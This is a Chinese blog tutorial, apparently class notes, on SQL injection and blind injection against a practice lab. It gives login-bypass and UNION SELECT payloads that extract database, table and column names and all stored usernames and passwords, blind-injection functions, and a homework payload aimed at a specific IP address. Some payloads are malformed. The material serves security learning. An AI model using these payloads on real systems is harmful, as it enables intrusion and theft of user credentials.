SQL注入盲注基础_怎么找注入点-CSDN博客

SQL注入的危害：SQL中（#）号是注释作用。
：盗取网站的敏感信息。
：绕过网站后台认证。

万能密码：‘ or ‘1’ = ‘1’ #

其中第一个单引号和登陆语句本身的密码的单引号成对，or（全假才加），所以万能语句为真，#将登陆语句后面的内容全部注释掉。
：借助SQL注入漏洞提权获取系统的权限。
：提取文件的信息。

SQL注入分类

根据注入位置分类：GET型、POST型、Head头注入
根据反馈结构分类：有回显（显错注入）、无回显（盲注）
根据数据类型分类：数字型和字符型
数字型：输入的参数为整型，如ID、年龄、页码等。
字符型：输入的参数为字符串。
数字型与字符型的最大区别：数字型不需要单引号闭合，字符型一般需要单引号闭合（闭合方式也不一定就是单引号）。
SQL语句显示：在每一个关卡里面加入
echo $sql;
echo "<br>";

SQL注入流程

1.寻找注入点

比如密码输入、网页搜索框

2.判断闭合方式

?id=1sjkhd（后面的字母可以乱写）
有报错：数字型，数字类型无闭合
无报错：字符型，需要判断闭合方式，闭合方式有：'、"、'）、"）
将判断闭合方式语句后加一个单引号（判断闭合方式，此时语句知道类型为字符型）：?id=1sjkhd'
如下：去掉我们输入的1sjkhd'后，观察右边，发现还剩下一个单引号，所以为单引号闭合方式

3.验证漏洞

?id = 1 and 1 --+ 正常显示（--+与#一样，属于注释作用）真（and，全真才真）
?id = 1 and 0--+ 无显示假
两个语句执行后，第二个语句无显示，存在漏洞。

4.判断列数及回显

利用order by语句：?id=1') order by 4--+ （这里的数字从大到小测试，可以采用二分法）。
如下：

5.利用联合查询，判断回显位

?id= -1') union select 1,2,3 --+ （注意：1前面有个负号，前面得知有三列）
如下：1没有显示，接下来就只需要到2和3有回显的位置进行测试。

6.取数据库名

如上知道，可以在2和3的位置进行注入。相应位置写：database（）

取数据库名（在2的位置进行注入，3也可以）：?id= -1') union select 1,database（）,3 --+
如下：可以得到2的数据库名为:security

7.取表名

?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+

其中database（）写成security也可以

information_schema：就是指数据库（点tables就是指数据库下的一张表）
group_conat:将我们查到的内容进行输出。
table——name：表名

8.查列名：

对取表名的语句进行修改：?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+

修改后：?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中：users为上面查到的表名，可以随便选一个来查询。
如下就可以知道：在users下有如下三个列名

9.取最后的数据:

?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下，就取出了username下的全部数据内容

这里，可以在2的位置写上username，3的位置写上password，就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+

10.总结：

盲注的基本概念

什么是盲注

指在SQL注入的过程中，找到注入点后，执行SQL语句后，选择的数据或者错误信息不能回显到前端页面。

这里需要利用一些方法进行判断或者猜测，这个过程称之为盲注。

第八关就用到盲注的方法。因为当输入？id=1时，出现的是：You are in .......

只有两种显示，输入正确的语句，就显示you are in ......，输入错误的东西，就不显示内容。

盲注的分类：

基于布尔判断的盲注
基于时间延迟的盲注
基于报错显示的盲注

盲注常用函数（分号不要忘记）

substr（string,start,length）
功能：截取字符串的功能
返回值：返回截取后的字符串
参数：string为操作字符串，start为字符串的开始位置，length为从开始位置截取的长度。
比如：$ret = substr （"hello kali",2,4）；
ret = "ello" ； #（解释：从第二个位置开始，长度为4）
比如：substr（database（），1,1）> ' a ' #（解释：判断数据库名第一位是否大于a,再查看其他位进行判断）。
mid（column_name,start,length）
功能：与substr的功能是一样的。
left（string,n）
功能：返回字符串string最左边的n个字符串
返回值：字符串的左边的n个字符串
比如：$ret = left（"redhat",3）;
ret = "red";
比如：left（database（）2,=‘se’）#判断数据库名前2个字符是否为se;再查看其他位进行判断。
right（与left一样，只是说从右边开始）
ord （char）
功能：char为字符，用于返回字符的ASCII码，有时候服务器会对单引号进行转义，使ASCII码就不适用单引号参数。
返回值：返回ASCII码值
比如：$ret = ord（'a'）;
ret = 97;
比如：ord (mid(database),1,1)>114；#检测database（）的第一位ASCII码是否发育114，也就是‘r’。
ascii（str）#与ord的功能一样。
length（string）
功能：截取字符串的长度,判断字符串的长度
比如：length(database())>5 #判断数据库名是否大于5.
ifnull(str1,str2)
功能：根据第一个参数是否为null返回的具体值，ifnull里面有两个数，如果第一个数不为null，返回str1，如果第一个数str1=null，返回str2 。
返回值：根据第一个参数来判断返回值。
比如：$ret1 1=ifnull ("hello","nihao");
ret1 = "hello"
$ret2 = ifnull (null,"nihao")；
ret2 = "nihao"

第三次课作业：

判断类型：输入?id=1ijfifj,有报错
验证漏洞：存在漏洞
判断列数及回显，数字从大到小，采用二分法，测试有三列
利用联合查询判断回显位，注意，id后面的-1不要省略
取数据库名
取表名
取列名：把table改成column
取全部数据：未完成http://120.27.61.239:8007/source/index.php?id=-1 union select 1,(select group_concat (email_id) from emails,3 --+

SQL注入盲注原理及利用